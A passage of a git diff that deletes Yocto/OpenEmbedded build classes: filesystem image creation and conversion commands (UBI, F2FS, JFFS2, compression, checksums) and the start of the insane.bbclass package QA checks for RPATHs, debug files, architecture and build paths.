- (cd ${WORKDIR}/cpio_append && echo ./init | cpio -oA -H newc -F ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.cpio)
- fi
- fi
-}
-
-UBI_VOLNAME ?= "${MACHINE}-rootfs"
-
-multiubi_mkfs() {
- local mkubifs_args="$1"
- local ubinize_args="$2"
-
- # Added prompt error message for ubi and ubifs image creation.
- if [ -z "$mkubifs_args" ] || [ -z "$ubinize_args" ]; then
- bbfatal "MKUBIFS_ARGS and UBINIZE_ARGS have to be set, see http://www.linux-mtd.infradead.org/faq/ubifs.html for details"
- fi
-
- if [ -z "$3" ]; then
- local vname=""
- else
- local vname="_$3"
- fi
-
- echo \[ubifs\] > ubinize${vname}-${IMAGE_NAME}.cfg
- echo mode=ubi >> ubinize${vname}-${IMAGE_NAME}.cfg
- echo image=${IMGDEPLOYDIR}/${IMAGE_NAME}${vname}${IMAGE_NAME_SUFFIX}.ubifs >> ubinize${vname}-${IMAGE_NAME}.cfg
- echo vol_id=0 >> ubinize${vname}-${IMAGE_NAME}.cfg
- echo vol_type=dynamic >> ubinize${vname}-${IMAGE_NAME}.cfg
- echo vol_name=${UBI_VOLNAME} >> ubinize${vname}-${IMAGE_NAME}.cfg
- echo vol_flags=autoresize >> ubinize${vname}-${IMAGE_NAME}.cfg
- if [ -n "$vname" ]; then
- mkfs.ubifs -r ${IMAGE_ROOTFS} -o ${IMGDEPLOYDIR}/${IMAGE_NAME}${vname}${IMAGE_NAME_SUFFIX}.ubifs ${mkubifs_args}
- fi
- ubinize -o ${IMGDEPLOYDIR}/${IMAGE_NAME}${vname}${IMAGE_NAME_SUFFIX}.ubi ${ubinize_args} ubinize${vname}-${IMAGE_NAME}.cfg
-
- # Cleanup cfg file
- mv ubinize${vname}-${IMAGE_NAME}.cfg ${IMGDEPLOYDIR}/
-
- # Create own symlinks for 'named' volumes
- if [ -n "$vname" ]; then
- cd ${IMGDEPLOYDIR}
- if [ -e ${IMAGE_NAME}${vname}${IMAGE_NAME_SUFFIX}.ubifs ]; then
- ln -sf ${IMAGE_NAME}${vname}${IMAGE_NAME_SUFFIX}.ubifs \
- ${IMAGE_LINK_NAME}${vname}.ubifs
- fi
- if [ -e ${IMAGE_NAME}${vname}${IMAGE_NAME_SUFFIX}.ubi ]; then
- ln -sf ${IMAGE_NAME}${vname}${IMAGE_NAME_SUFFIX}.ubi \
- ${IMAGE_LINK_NAME}${vname}.ubi
- fi
- cd -
- fi
-}
-
-IMAGE_CMD_multiubi () {
- # Split MKUBIFS_ARGS_<name> and UBINIZE_ARGS_<name>
- for name in ${MULTIUBI_BUILD}; do
- eval local mkubifs_args=\"\$MKUBIFS_ARGS_${name}\"
- eval local ubinize_args=\"\$UBINIZE_ARGS_${name}\"
-
- multiubi_mkfs "${mkubifs_args}" "${ubinize_args}" "${name}"
- done
-}
-
-IMAGE_CMD_ubi () {
- multiubi_mkfs "${MKUBIFS_ARGS}" "${UBINIZE_ARGS}"
-}
-IMAGE_TYPEDEP_ubi = "ubifs"
-
-IMAGE_CMD_ubifs = "mkfs.ubifs -r ${IMAGE_ROOTFS} -o ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.ubifs ${MKUBIFS_ARGS}"
-
-MIN_F2FS_SIZE ?= "524288"
-IMAGE_CMD_f2fs () {
- # We need to add additional smarts here form devices smaller than 1.5G
- # Need to scale appropriately between 40M -> 1.5G as the "overprovision
- # ratio" goes down as the device gets bigger (70% -> 4.5%), below about
- # 500M the standard IMAGE_OVERHEAD_FACTOR does not work, so add additional
- # space here when under 500M
- size=${ROOTFS_SIZE}
- if [ ${size} -lt ${MIN_F2FS_SIZE} ] ; then
- size=${MIN_F2FS_SIZE}
- bbwarn "Rootfs size is too small for F2FS. Filesystem will be extended to ${size}K"
- fi
- dd if=/dev/zero of=${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.f2fs seek=${size} count=0 bs=1024
- mkfs.f2fs ${EXTRA_IMAGECMD} ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.f2fs
- sload.f2fs -f ${IMAGE_ROOTFS} ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.f2fs
-}
-
-EXTRA_IMAGECMD = ""
-
-inherit siteinfo kernel-arch
-JFFS2_ENDIANNESS ?= "${@oe.utils.conditional('SITEINFO_ENDIANNESS', 'le', '-l', '-b', d)}"
-JFFS2_ERASEBLOCK ?= "0x40000"
-EXTRA_IMAGECMD_jffs2 ?= "--pad ${JFFS2_ENDIANNESS} --eraseblock=${JFFS2_ERASEBLOCK} --no-cleanmarkers"
-
-# Change these if you want default mkfs behavior (i.e. create minimal inode number)
-EXTRA_IMAGECMD_ext2 ?= "-i 4096"
-EXTRA_IMAGECMD_ext3 ?= "-i 4096"
-EXTRA_IMAGECMD_ext4 ?= "-i 4096"
-EXTRA_IMAGECMD_btrfs ?= "-n 4096"
-EXTRA_IMAGECMD_f2fs ?= ""
-
-do_image_cpio[depends] += "cpio-native:do_populate_sysroot"
-do_image_jffs2[depends] += "mtd-utils-native:do_populate_sysroot"
-do_image_cramfs[depends] += "util-linux-native:do_populate_sysroot"
-do_image_ext2[depends] += "e2fsprogs-native:do_populate_sysroot"
-do_image_ext3[depends] += "e2fsprogs-native:do_populate_sysroot"
-do_image_ext4[depends] += "e2fsprogs-native:do_populate_sysroot"
-do_image_btrfs[depends] += "btrfs-tools-native:do_populate_sysroot"
-do_image_squashfs[depends] += "squashfs-tools-native:do_populate_sysroot"
-do_image_squashfs_xz[depends] += "squashfs-tools-native:do_populate_sysroot"
-do_image_squashfs_lzo[depends] += "squashfs-tools-native:do_populate_sysroot"
-do_image_squashfs_lz4[depends] += "squashfs-tools-native:do_populate_sysroot"
-do_image_ubi[depends] += "mtd-utils-native:do_populate_sysroot"
-do_image_ubifs[depends] += "mtd-utils-native:do_populate_sysroot"
-do_image_multiubi[depends] += "mtd-utils-native:do_populate_sysroot"
-do_image_f2fs[depends] += "f2fs-tools-native:do_populate_sysroot"
-
-# This variable is available to request which values are suitable for IMAGE_FSTYPES
-IMAGE_TYPES = " \
- jffs2 jffs2.sum \
- cramfs \
- ext2 ext2.gz ext2.bz2 ext2.lzma \
- ext3 ext3.gz \
- ext4 ext4.gz \
- btrfs \
- iso \
- hddimg \
- squashfs squashfs-xz squashfs-lzo squashfs-lz4 \
- ubi ubifs multiubi \
- tar tar.gz tar.bz2 tar.xz tar.lz4 tar.zst \
- cpio cpio.gz cpio.xz cpio.lzma cpio.lz4 \
- wic wic.gz wic.bz2 wic.lzma wic.zst \
- container \
- f2fs \
-"
-
-# Compression is a special case of conversion. The old variable
-# names are still supported for backward-compatibility. When defining
-# new compression or conversion commands, use CONVERSIONTYPES and
-# CONVERSION_CMD/DEPENDS.
-COMPRESSIONTYPES ?= ""
-
-CONVERSIONTYPES = "gz bz2 lzma xz lz4 lzo zip zst sum md5sum sha1sum sha224sum sha256sum sha384sum sha512sum bmap u-boot vmdk vdi qcow2 base64 ${COMPRESSIONTYPES}"
-CONVERSION_CMD_lzma = "lzma -k -f -7 ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}"
-CONVERSION_CMD_gz = "gzip -f -9 -n -c --rsyncable ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} > ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.gz"
-CONVERSION_CMD_bz2 = "pbzip2 -f -k ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}"
-CONVERSION_CMD_xz = "xz -f -k -c ${XZ_COMPRESSION_LEVEL} ${XZ_DEFAULTS} --check=${XZ_INTEGRITY_CHECK} ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} > ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.xz"
-CONVERSION_CMD_lz4 = "lz4 -9 -z -l ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.lz4"
-CONVERSION_CMD_lzo = "lzop -9 ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}"
-CONVERSION_CMD_zip = "zip ${ZIP_COMPRESSION_LEVEL} ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.zip ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}"
-CONVERSION_CMD_zst = "zstd -f -k -T0 -c ${ZSTD_COMPRESSION_LEVEL} ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} > ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.zst"
-CONVERSION_CMD_sum = "sumtool -i ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} -o ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.sum ${JFFS2_SUM_EXTRA_ARGS}"
-CONVERSION_CMD_md5sum = "md5sum ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} > ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.md5sum"
-CONVERSION_CMD_sha1sum = "sha1sum ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} > ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.sha1sum"
-CONVERSION_CMD_sha224sum = "sha224sum ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} > ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.sha224sum"
-CONVERSION_CMD_sha256sum = "sha256sum ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} > ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.sha256sum"
-CONVERSION_CMD_sha384sum = "sha384sum ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} > ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.sha384sum"
-CONVERSION_CMD_sha512sum = "sha512sum ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} > ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.sha512sum"
-CONVERSION_CMD_bmap = "bmaptool create ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} -o ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.bmap"
-CONVERSION_CMD_u-boot = "mkimage -A ${UBOOT_ARCH} -O linux -T ramdisk -C none -n ${IMAGE_NAME} -d ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.u-boot"
-CONVERSION_CMD_vmdk = "qemu-img convert -O vmdk ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.vmdk"
-CONVERSION_CMD_vdi = "qemu-img convert -O vdi ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.vdi"
-CONVERSION_CMD_qcow2 = "qemu-img convert -O qcow2 ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.qcow2"
-CONVERSION_CMD_base64 = "base64 ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} > ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.base64"
-CONVERSION_DEPENDS_lzma = "xz-native"
-CONVERSION_DEPENDS_gz = "pigz-native"
-CONVERSION_DEPENDS_bz2 = "pbzip2-native"
-CONVERSION_DEPENDS_xz = "xz-native"
-CONVERSION_DEPENDS_lz4 = "lz4-native"
-CONVERSION_DEPENDS_lzo = "lzop-native"
-CONVERSION_DEPENDS_zip = "zip-native"
-CONVERSION_DEPENDS_zst = "zstd-native"
-CONVERSION_DEPENDS_sum = "mtd-utils-native"
-CONVERSION_DEPENDS_bmap = "bmap-tools-native"
-CONVERSION_DEPENDS_u-boot = "u-boot-tools-native"
-CONVERSION_DEPENDS_vmdk = "qemu-system-native"
-CONVERSION_DEPENDS_vdi = "qemu-system-native"
-CONVERSION_DEPENDS_qcow2 = "qemu-system-native"
-CONVERSION_DEPENDS_base64 = "coreutils-native"
-
-RUNNABLE_IMAGE_TYPES ?= "ext2 ext3 ext4"
-RUNNABLE_MACHINE_PATTERNS ?= "qemu"
-
-DEPLOYABLE_IMAGE_TYPES ?= "hddimg iso"
-
-# The IMAGE_TYPES_MASKED variable will be used to mask out from the IMAGE_FSTYPES,
-# images that will not be built at do_rootfs time: vmdk, vdi, qcow2, hddimg, iso, etc.
-IMAGE_TYPES_MASKED ?= ""
-
-# bmap requires python3 to be in the PATH
-EXTRANATIVEPATH += "${@'python3-native' if d.getVar('IMAGE_FSTYPES').find('.bmap') else ''}"
diff --git a/meta/classes/insane.bbclass b/meta/classes/insane.bbclass
deleted file mode 100644
index ee19ef673e..0000000000
--- a/meta/classes/insane.bbclass
+++ /dev/null
@@ -1,1360 +0,0 @@
-# BB Class inspired by ebuild.sh
-#
-# This class will test files after installation for certain
-# security issues and other kind of issues.
-#
-# Checks we do:
-# -Check the ownership and permissions
-# -Check the RUNTIME path for the $TMPDIR
-# -Check if .la files wrongly point to workdir
-# -Check if .pc files wrongly point to workdir
-# -Check if packages contains .debug directories or .so files
-# where they should be in -dev or -dbg
-# -Check if config.log contains traces to broken autoconf tests
-# -Check invalid characters (non-utf8) on some package metadata
-# -Ensure that binaries in base_[bindir|sbindir|libdir] do not link
-# into exec_prefix
-# -Check that scripts in base_[bindir|sbindir|libdir] do not reference
-# files under exec_prefix
-# -Check if the package name is upper case
-
-QA_SANE = "True"
-
-# Elect whether a given type of error is a warning or error, they may
-# have been set by other files.
-WARN_QA ?= " libdir xorg-driver-abi \
- textrel incompatible-license files-invalid \
- infodir build-deps src-uri-bad symlink-to-sysroot multilib \
- invalid-packageconfig host-user-contaminated uppercase-pn patch-fuzz \
- mime mime-xdg unlisted-pkg-lics unhandled-features-check \
- "
-ERROR_QA ?= "dev-so debug-deps dev-deps debug-files arch pkgconfig la \
- perms dep-cmp pkgvarcheck perm-config perm-line perm-link \
- split-strip packages-list pkgv-undefined var-undefined \
- version-going-backwards expanded-d invalid-chars \
- license-checksum dev-elf file-rdeps configure-unsafe \
- configure-gettext perllocalpod shebang-size \
- already-stripped installed-vs-shipped ldflags compile-host-path \
- install-host-path pn-overrides unknown-configure-option \
- useless-rpaths rpaths staticdev \
- "
-# Add usrmerge QA check based on distro feature
-ERROR_QA_append = "${@bb.utils.contains('DISTRO_FEATURES', 'usrmerge', ' usrmerge', '', d)}"
-
-FAKEROOT_QA = "host-user-contaminated"
-FAKEROOT_QA[doc] = "QA tests which need to run under fakeroot. If any \
-enabled tests are listed here, the do_package_qa task will run under fakeroot."
-
-ALL_QA = "${WARN_QA} ${ERROR_QA}"
-
-UNKNOWN_CONFIGURE_WHITELIST ?= "--enable-nls --disable-nls --disable-silent-rules --disable-dependency-tracking --with-libtool-sysroot --disable-static"
-
-def package_qa_clean_path(path, d, pkg=None):
- """
- Remove redundant paths from the path for display. If pkg isn't set then
- TMPDIR is stripped, otherwise PKGDEST/pkg is stripped.
- """
- if pkg:
- path = path.replace(os.path.join(d.getVar("PKGDEST"), pkg), "/")
- return path.replace(d.getVar("TMPDIR"), "/").replace("//", "/")
-
-def package_qa_write_error(type, error, d):
- logfile = d.getVar('QA_LOGFILE')
- if logfile:
- p = d.getVar('P')
- with open(logfile, "a+") as f:
- f.write("%s: %s [%s]\n" % (p, error, type))
-
-def package_qa_handle_error(error_class, error_msg, d):
- if error_class in (d.getVar("ERROR_QA") or "").split():
- package_qa_write_error(error_class, error_msg, d)
- bb.error("QA Issue: %s [%s]" % (error_msg, error_class))
- d.setVar("QA_SANE", False)
- return False
- elif error_class in (d.getVar("WARN_QA") or "").split():
- package_qa_write_error(error_class, error_msg, d)
- bb.warn("QA Issue: %s [%s]" % (error_msg, error_class))
- else:
- bb.note("QA Issue: %s [%s]" % (error_msg, error_class))
- return True
-
-def package_qa_add_message(messages, section, new_msg):
- if section not in messages:
- messages[section] = new_msg
- else:
- messages[section] = messages[section] + "\n" + new_msg
-
-QAPATHTEST[shebang-size] = "package_qa_check_shebang_size"
-def package_qa_check_shebang_size(path, name, d, elf, messages):
- if os.path.islink(path) or elf:
- return
-
- try:
- with open(path, 'rb') as f:
- stanza = f.readline(130)
- except IOError:
- return
-
- if stanza.startswith(b'#!'):
- #Shebang not found
- try:
- stanza = stanza.decode("utf-8")
- except UnicodeDecodeError:
- #If it is not a text file, it is not a script
- return
-
- if len(stanza) > 129:
- package_qa_add_message(messages, "shebang-size", "%s: %s maximum shebang size exceeded, the maximum size is 128." % (name, package_qa_clean_path(path, d)))
- return
-
-QAPATHTEST[libexec] = "package_qa_check_libexec"
-def package_qa_check_libexec(path,name, d, elf, messages):
-
- # Skip the case where the default is explicitly /usr/libexec
- libexec = d.getVar('libexecdir')
- if libexec == "/usr/libexec":
- return True
-
- if 'libexec' in path.split(os.path.sep):
- package_qa_add_message(messages, "libexec", "%s: %s is using libexec please relocate to %s" % (name, package_qa_clean_path(path, d), libexec))
- return False
-
- return True
-
-QAPATHTEST[rpaths] = "package_qa_check_rpath"
-def package_qa_check_rpath(file,name, d, elf, messages):
- """
- Check for dangerous RPATHs
- """
- if not elf:
- return
-
- if os.path.islink(file):
- return
-
- bad_dirs = [d.getVar('BASE_WORKDIR'), d.getVar('STAGING_DIR_TARGET')]
-
- phdrs = elf.run_objdump("-p", d)
-
- import re
- rpath_re = re.compile(r"\s+RPATH\s+(.*)")
- for line in phdrs.split("\n"):
- m = rpath_re.match(line)
- if m:
- rpath = m.group(1)
- for dir in bad_dirs:
- if dir in rpath:
- package_qa_add_message(messages, "rpaths", "package %s contains bad RPATH %s in file %s" % (name, rpath, file))
-
-QAPATHTEST[useless-rpaths] = "package_qa_check_useless_rpaths"
-def package_qa_check_useless_rpaths(file, name, d, elf, messages):
- """
- Check for RPATHs that are useless but not dangerous
- """
- def rpath_eq(a, b):
- return os.path.normpath(a) == os.path.normpath(b)
-
- if not elf:
- return
-
- if os.path.islink(file):
- return
-
- libdir = d.getVar("libdir")
- base_libdir = d.getVar("base_libdir")
-
- phdrs = elf.run_objdump("-p", d)
-
- import re
- rpath_re = re.compile(r"\s+RPATH\s+(.*)")
- for line in phdrs.split("\n"):
- m = rpath_re.match(line)
- if m:
- rpath = m.group(1)
- if rpath_eq(rpath, libdir) or rpath_eq(rpath, base_libdir):
- # The dynamic linker searches both these places anyway. There is no point in
- # looking there again.
- package_qa_add_message(messages, "useless-rpaths", "%s: %s contains probably-redundant RPATH %s" % (name, package_qa_clean_path(file, d), rpath))
-
-QAPATHTEST[dev-so] = "package_qa_check_dev"
-def package_qa_check_dev(path, name, d, elf, messages):
- """
- Check for ".so" library symlinks in non-dev packages
- """
-
- if not name.endswith("-dev") and not name.endswith("-dbg") and not name.endswith("-ptest") and not name.startswith("nativesdk-") and path.endswith(".so") and os.path.islink(path):
- package_qa_add_message(messages, "dev-so", "non -dev/-dbg/nativesdk- package contains symlink .so: %s path '%s'" % \
- (name, package_qa_clean_path(path,d)))
-
-QAPATHTEST[dev-elf] = "package_qa_check_dev_elf"
-def package_qa_check_dev_elf(path, name, d, elf, messages):
- """
- Check that -dev doesn't contain real shared libraries. The test has to
- check that the file is not a link and is an ELF object as some recipes
- install link-time .so files that are linker scripts.
- """
- if name.endswith("-dev") and path.endswith(".so") and not os.path.islink(path) and elf:
- package_qa_add_message(messages, "dev-elf", "-dev package contains non-symlink .so: %s path '%s'" % \
- (name, package_qa_clean_path(path,d)))
-
-QAPATHTEST[staticdev] = "package_qa_check_staticdev"
-def package_qa_check_staticdev(path, name, d, elf, messages):
- """
- Check for ".a" library in non-staticdev packages
- There are a number of exceptions to this rule, -pic packages can contain
- static libraries, the _nonshared.a belong with their -dev packages and
- libgcc.a, libgcov.a will be skipped in their packages
- """
-
- if not name.endswith("-pic") and not name.endswith("-staticdev") and not name.endswith("-ptest") and path.endswith(".a") and not path.endswith("_nonshared.a") and not '/usr/lib/debug-static/' in path and not '/.debug-static/' in path:
- package_qa_add_message(messages, "staticdev", "non -staticdev package contains static .a library: %s path '%s'" % \
- (name, package_qa_clean_path(path,d)))
-
-QAPATHTEST[mime] = "package_qa_check_mime"
-def package_qa_check_mime(path, name, d, elf, messages):
- """
- Check if package installs mime types to /usr/share/mime/packages
- while no inheriting mime.bbclass
- """
-
- if d.getVar("datadir") + "/mime/packages" in path and path.endswith('.xml') and not bb.data.inherits_class("mime", d):
- package_qa_add_message(messages, "mime", "package contains mime types but does not inherit mime: %s path '%s'" % \
- (name, package_qa_clean_path(path,d)))
-
-QAPATHTEST[mime-xdg] = "package_qa_check_mime_xdg"
-def package_qa_check_mime_xdg(path, name, d, elf, messages):
- """
- Check if package installs desktop file containing MimeType and requires
- mime-types.bbclass to create /usr/share/applications/mimeinfo.cache
- """
-
- if d.getVar("datadir") + "/applications" in path and path.endswith('.desktop') and not bb.data.inherits_class("mime-xdg", d):
- mime_type_found = False
- try:
- with open(path, 'r') as f:
- for line in f.read().split('\n'):
- if 'MimeType' in line:
- mime_type_found = True
- break;
- except:
- # At least libreoffice installs symlinks with absolute paths that are dangling here.
- # We could implement some magic but for few (one) recipes it is not worth the effort so just warn:
- wstr = "%s cannot open %s - is it a symlink with absolute path?\n" % (name, package_qa_clean_path(path,d))
- wstr += "Please check if (linked) file contains key 'MimeType'.\n"
- pkgname = name
- if name == d.getVar('PN'):
- pkgname = '${PN}'
- wstr += "If yes: add \'inhert mime-xdg\' and \'MIME_XDG_PACKAGES += \"%s\"\' / if no add \'INSANE_SKIP_%s += \"mime-xdg\"\' to recipe." % (pkgname, pkgname)
- package_qa_add_message(messages, "mime-xdg", wstr)
- if mime_type_found:
- package_qa_add_message(messages, "mime-xdg", "package contains desktop file with key 'MimeType' but does not inhert mime-xdg: %s path '%s'" % \
- (name, package_qa_clean_path(path,d)))
-
-def package_qa_check_libdir(d):
- """
- Check for wrong library installation paths. For instance, catch
- recipes installing /lib/bar.so when ${base_libdir}="lib32" or
- installing in /usr/lib64 when ${libdir}="/usr/lib"
- """
- import re
-
- pkgdest = d.getVar('PKGDEST')
- base_libdir = d.getVar("base_libdir") + os.sep
- libdir = d.getVar("libdir") + os.sep
- libexecdir = d.getVar("libexecdir") + os.sep
- exec_prefix = d.getVar("exec_prefix") + os.sep
-
- messages = []
-
- # The re's are purposely fuzzy, as some there are some .so.x.y.z files
- # that don't follow the standard naming convention. It checks later
- # that they are actual ELF files
- lib_re = re.compile(r"^/lib.+\.so(\..+)?$")
- exec_re = re.compile(r"^%s.*/lib.+\.so(\..+)?$" % exec_prefix)
-
- for root, dirs, files in os.walk(pkgdest):
- if root == pkgdest:
- # Skip subdirectories for any packages with libdir in INSANE_SKIP
- skippackages = []
- for package in dirs:
- if 'libdir' in (d.getVar('INSANE_SKIP_' + package) or "").split():
- bb.note("Package %s skipping libdir QA test" % (package))
- skippackages.append(package)
- elif d.getVar('PACKAGE_DEBUG_SPLIT_STYLE') == 'debug-file-directory' and package.endswith("-dbg"):
- bb.note("Package %s skipping libdir QA test for PACKAGE_DEBUG_SPLIT_STYLE equals debug-file-directory" % (package))
- skippackages.append(package)
- for package in skippackages:
- dirs.remove(package)
- for file in files:
- full_path = os.path.join(root, file)
- rel_path = os.path.relpath(full_path, pkgdest)
- if os.sep in rel_path:
- package, rel_path = rel_path.split(os.sep, 1)
- rel_path = os.sep + rel_path
- if lib_re.match(rel_path):
- if base_libdir not in rel_path:
- # make sure it's an actual ELF file
- elf = oe.qa.ELFFile(full_path)
- try:
- elf.open()
- messages.append("%s: found library in wrong location: %s" % (package, rel_path))
- except (oe.qa.NotELFFileError):
- pass
- if exec_re.match(rel_path):
- if libdir not in rel_path and libexecdir not in rel_path:
- # make sure it's an actual ELF file
- elf = oe.qa.ELFFile(full_path)
- try:
- elf.open()
- messages.append("%s: found library in wrong location: %s" % (package, rel_path))
- except (oe.qa.NotELFFileError):
- pass
-
- if messages:
- package_qa_handle_error("libdir", "\n".join(messages), d)
-
-QAPATHTEST[debug-files] = "package_qa_check_dbg"
-def package_qa_check_dbg(path, name, d, elf, messages):
- """
- Check for ".debug" files or directories outside of the dbg package
- """
-
- if not "-dbg" in name and not "-ptest" in name:
- if '.debug' in path.split(os.path.sep):
- package_qa_add_message(messages, "debug-files", "non debug package contains .debug directory: %s path %s" % \
- (name, package_qa_clean_path(path,d)))
-
-QAPATHTEST[arch] = "package_qa_check_arch"
-def package_qa_check_arch(path,name,d, elf, messages):
- """
- Check if archs are compatible
- """
- import re, oe.elf
-
- if not elf:
- return
-
- target_os = d.getVar('TARGET_OS')
- target_arch = d.getVar('TARGET_ARCH')
- provides = d.getVar('PROVIDES')
- bpn = d.getVar('BPN')
-
- if target_arch == "allarch":
- pn = d.getVar('PN')
- package_qa_add_message(messages, "arch", pn + ": Recipe inherits the allarch class, but has packaged architecture-specific binaries")
- return
-
- # FIXME: Cross package confuse this check, so just skip them
- for s in ['cross', 'nativesdk', 'cross-canadian']:
- if bb.data.inherits_class(s, d):
- return
-
- # avoid following links to /usr/bin (e.g. on udev builds)
- # we will check the files pointed to anyway...
- if os.path.islink(path):
- return
-
- #if this will throw an exception, then fix the dict above
- (machine, osabi, abiversion, littleendian, bits) \
- = oe.elf.machine_dict(d)[target_os][target_arch]
-
- # Check the architecture and endiannes of the binary
- is_32 = (("virtual/kernel" in provides) or bb.data.inherits_class("module", d)) and \
- (target_os == "linux-gnux32" or target_os == "linux-muslx32" or \
- target_os == "linux-gnu_ilp32" or re.match(r'mips64.*32', d.getVar('DEFAULTTUNE')))
- is_bpf = (oe.qa.elf_machine_to_string(elf.machine()) == "BPF")
- if not ((machine == elf.machine()) or is_32 or is_bpf):
- package_qa_add_message(messages, "arch", "Architecture did not match (%s, expected %s) in %s" % \
- (oe.qa.elf_machine_to_string(elf.machine()), oe.qa.elf_machine_to_string(machine), package_qa_clean_path(path, d, name)))
- elif not ((bits == elf.abiSize()) or is_32 or is_bpf):
- package_qa_add_message(messages, "arch", "Bit size did not match (%d, expected %d) in %s" % \
- (elf.abiSize(), bits, package_qa_clean_path(path, d, name)))
- elif not ((littleendian == elf.isLittleEndian()) or is_bpf):
- package_qa_add_message(messages, "arch", "Endiannes did not match (%d, expected %d) in %s" % \
- (elf.isLittleEndian(), littleendian, package_qa_clean_path(path,d, name)))
-
-QAPATHTEST[desktop] = "package_qa_check_desktop"
-def package_qa_check_desktop(path, name, d, elf, messages):
- """
- Run all desktop files through desktop-file-validate.
- """
- if path.endswith(".desktop"):
- desktop_file_validate = os.path.join(d.getVar('STAGING_BINDIR_NATIVE'),'desktop-file-validate')
- output = os.popen("%s %s" % (desktop_file_validate, path))
- # This only produces output on errors
- for l in output:
- package_qa_add_message(messages, "desktop", "Desktop file issue: " + l.strip())
-
-QAPATHTEST[textrel] = "package_qa_textrel"
-def package_qa_textrel(path, name, d, elf, messages):
- """
- Check if the binary contains relocations in .text
- """
-
- if not elf:
- return
-
- if os.path.islink(path):
- return
-
- phdrs = elf.run_objdump("-p", d)
- sane = True
-
- import re
- textrel_re = re.compile(r"\s+TEXTREL\s+")
- for line in phdrs.split("\n"):
- if textrel_re.match(line):
- sane = False
- break
-
- if not sane:
- path = package_qa_clean_path(path, d, name)
- package_qa_add_message(messages, "textrel", "%s: ELF binary %s has relocations in .text" % (name, path))
-
-QAPATHTEST[ldflags] = "package_qa_hash_style"
-def package_qa_hash_style(path, name, d, elf, messages):
- """
- Check if the binary has the right hash style...
- """
-
- if not elf:
- return
-
- if os.path.islink(path):
- return
-
- gnu_hash = "--hash-style=gnu" in d.getVar('LDFLAGS')
- if not gnu_hash:
- gnu_hash = "--hash-style=both" in d.getVar('LDFLAGS')
- if not gnu_hash:
- return
-
- sane = False
- has_syms = False
-
- phdrs = elf.run_objdump("-p", d)
-
- # If this binary has symbols, we expect it to have GNU_HASH too.
- for line in phdrs.split("\n"):
- if "SYMTAB" in line:
- has_syms = True
- if "GNU_HASH" or "DT_MIPS_XHASH" in line:
- sane = True
- if ("[mips32]" in line or "[mips64]" in line) and d.getVar('TCLIBC') == "musl":
- sane = True
- if has_syms and not sane:
- package_qa_add_message(messages, "ldflags", "No GNU_HASH in the ELF binary %s, didn't pass LDFLAGS?" % path)
-
-
-QAPATHTEST[buildpaths] = "package_qa_check_buildpaths"
-def package_qa_check_buildpaths(path, name, d, elf, messages):
- """
- Check for build paths inside target files and error if not found in the whitelist
- """
- # Ignore .debug files, not interesting
- if path.find(".debug") != -1:
- return
-
- # Ignore symlinks
- if os.path.islink(path):
- return
-
- tmpdir = bytes(d.getVar('TMPDIR'), encoding="utf-8")
- with open(path, 'rb') as f:
- file_content = f.read()
- if tmpdir in file_content:
- trimmed = path.replace(os.path.join (d.getVar("PKGDEST"), name), "")
- package_qa_add_message(messages, "buildpaths", "File %s in package %s contains reference to TMPDIR" % (trimmed, name))
-
-
-QAPATHTEST[xorg-driver-abi] = "package_qa_check_xorg_driver_abi"
-def package_qa_check_xorg_driver_abi(path, name, d, elf, messages):
- """
- Check that all packages containing Xorg drivers have ABI dependencies
- """
-
- # Skip dev, dbg or nativesdk packages
- if name.endswith("-dev") or name.endswith("-dbg") or name.startswith("nativesdk-"):
- return
-
- driverdir = d.expand("${libdir}/xorg/modules/drivers/")
- if driverdir in path and path.endswith(".so"):
- mlprefix = d.getVar('MLPREFIX') or ''
- for rdep in bb.utils.explode_deps(d.getVar('RDEPENDS_' + name) or ""):
- if rdep.startswith("%sxorg-abi-" % mlprefix):
- return
